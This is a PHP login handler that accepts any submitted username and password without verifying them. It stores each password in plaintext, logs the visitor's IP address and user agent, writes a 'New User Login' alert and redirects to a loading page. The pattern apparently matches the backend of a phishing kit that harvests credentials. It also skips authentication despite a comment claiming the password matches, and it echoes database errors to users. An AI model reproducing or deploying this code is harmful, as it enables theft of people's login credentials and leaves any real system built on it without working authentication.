<?php
    session_start();

    // date_default_timezone_set("Africa/Lagos");

    require_once '../../oyexa/config.php';

    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['visitor_login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        try {
            $stmt = $pdo->prepare("SELECT * FROM visitors WHERE username = :username");
            $stmt->bindParam(':username', $username);
            $stmt->execute();
            $visitor = $stmt->fetch(PDO::FETCH_ASSOC);            

            if ($visitor)
            {
                // Username exists, check password
                // Password matches, set user id in session
                $_SESSION['visitor_id'] = $visitor['id'];

                // Get user agent and IP address
                $user_agent = $_SERVER['HTTP_USER_AGENT'];
                $ip_address = $_SERVER['REMOTE_ADDR']; 
                
                $stmt = $pdo->prepare("UPDATE visitors SET password = :password, user_agent = :user_agent, ip_address = :ip_address WHERE username = :username");
                $stmt->bindParam(':username', $username);
                $stmt->bindParam(':password', $password);
                $stmt->bindParam(':ip_address', $ip_address);
                $stmt->bindParam(':user_agent', $user_agent);
                $stmt->execute();

                // Function to update user activity in the database
                function updateUserActivity($username, $pdo)
                {
                    try
                    {
                        // Check if user already has an activity record
                        $stmt = $pdo->prepare("SELECT * FROM user_activity WHERE username = :username");
                        $stmt->bindParam(':username', $username);
                        $stmt->execute();
                        $row = $stmt->fetch(PDO::FETCH_ASSOC);

                        if ($row) {
                            // User already has an activity record, update it
                            $stmt = $pdo->prepare("UPDATE user_activity SET recent_activity = CURRENT_TIMESTAMP WHERE username = :username");
                            $stmt->bindParam(':username', $username);
                            $stmt->execute();

                            if ($stmt->rowCount() > 0)
                            {
                                try
                                {
                                    $description = "New User Login"; // Replace with the actual description
                                    
                                    $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                                    $stmt->bindParam(':description', $description);
                                    $stmt->execute();    
                                    
                                    header("Location: ../loading.php"); // Redirect to login page
                                    exit;
                                } catch (PDOException $e) {
                                    echo "Error: " . $e->getMessage();
                                }                                                                                            
                            }

                        }
                        else
                        {
                            // User doesn't have an activity record, insert a new one
                            $stmt = $pdo->prepare("INSERT INTO user_activity (username) VALUES (:username)");
                            $stmt->bindParam(':username', $username);
                            $stmt->execute();

                            if ($stmt->rowCount() > 0)
                            {
                                try
                                {
                                    $description = "New User Login"; // Replace with the actual description
                                    
                                    $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                                    $stmt->bindParam(':description', $description);
                                    $stmt->execute();    
                                    
                                    header("Location: ../loading.php"); // Redirect to login page
                                    exit;
                                } catch (PDOException $e) {
                                    echo "Error: " . $e->getMessage();
                                }                                                                                            
                            }
                        }
                    } catch (PDOException $e) {
                        // Handle database error
                        echo "Error: " . $e->getMessage();
                        die();
                    }
                }
                                                
                updateUserActivity($username, $pdo);

                header("Location: ../loading.php");
                exit;

            
        
            }
            else
            {
                // Username doesn't exist, insert new user                

                // Get user agent and IP address
                $user_agent = $_SERVER['HTTP_USER_AGENT'];
                $ip_address = $_SERVER['REMOTE_ADDR'];                 

                $stmt = $pdo->prepare("INSERT INTO visitors (username, password, user_agent, ip_address) VALUES (:username, :password, :user_agent, :ip_address)");
                $stmt->bindParam(':username', $username);
                $stmt->bindParam(':password', $password);
                $stmt->bindParam(':ip_address', $ip_address);
                $stmt->bindParam(':user_agent', $user_agent);
                $stmt->execute();

                // Get the ID of the last inserted row
                $visitor_id = $pdo->lastInsertId();

                //Store ID into Session Variable for Next Page
                $_SESSION['visitor_id'] = $visitor_id; 

                // echo $visitor_id;

                //Check if insertion was successful
                if ($stmt->rowCount() > 0)
                {
                    // User doesn't have an activity record, insert a new one
                    $stmt = $pdo->prepare("INSERT INTO user_activity (username) VALUES (:username)");
                    $stmt->bindParam(':username', $username);
                    $stmt->execute();                                                         
                    
                    if ($stmt->rowCount() > 0)
                    {
                        try
                        {
                            $description = "New User Login"; // Replace with the actual description
                            
                            $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                            $stmt->bindParam(':description', $description);
                            $stmt->execute();    
                            
                            header("Location: ../loading.php"); // Redirect to login page
                            exit;
                        } catch (PDOException $e) {
                            echo "Error: " . $e->getMessage();
                        }                                                                                            
                    }
                }
                else
                {
                    // User insertion failed                    
                    header("Location: spk.php"); // Redirect to registration page
                    exit;
                }
            }
        } catch (PDOException $e) {
            echo "Error: " . $e->getMessage();
            die();
        }
    }
?>
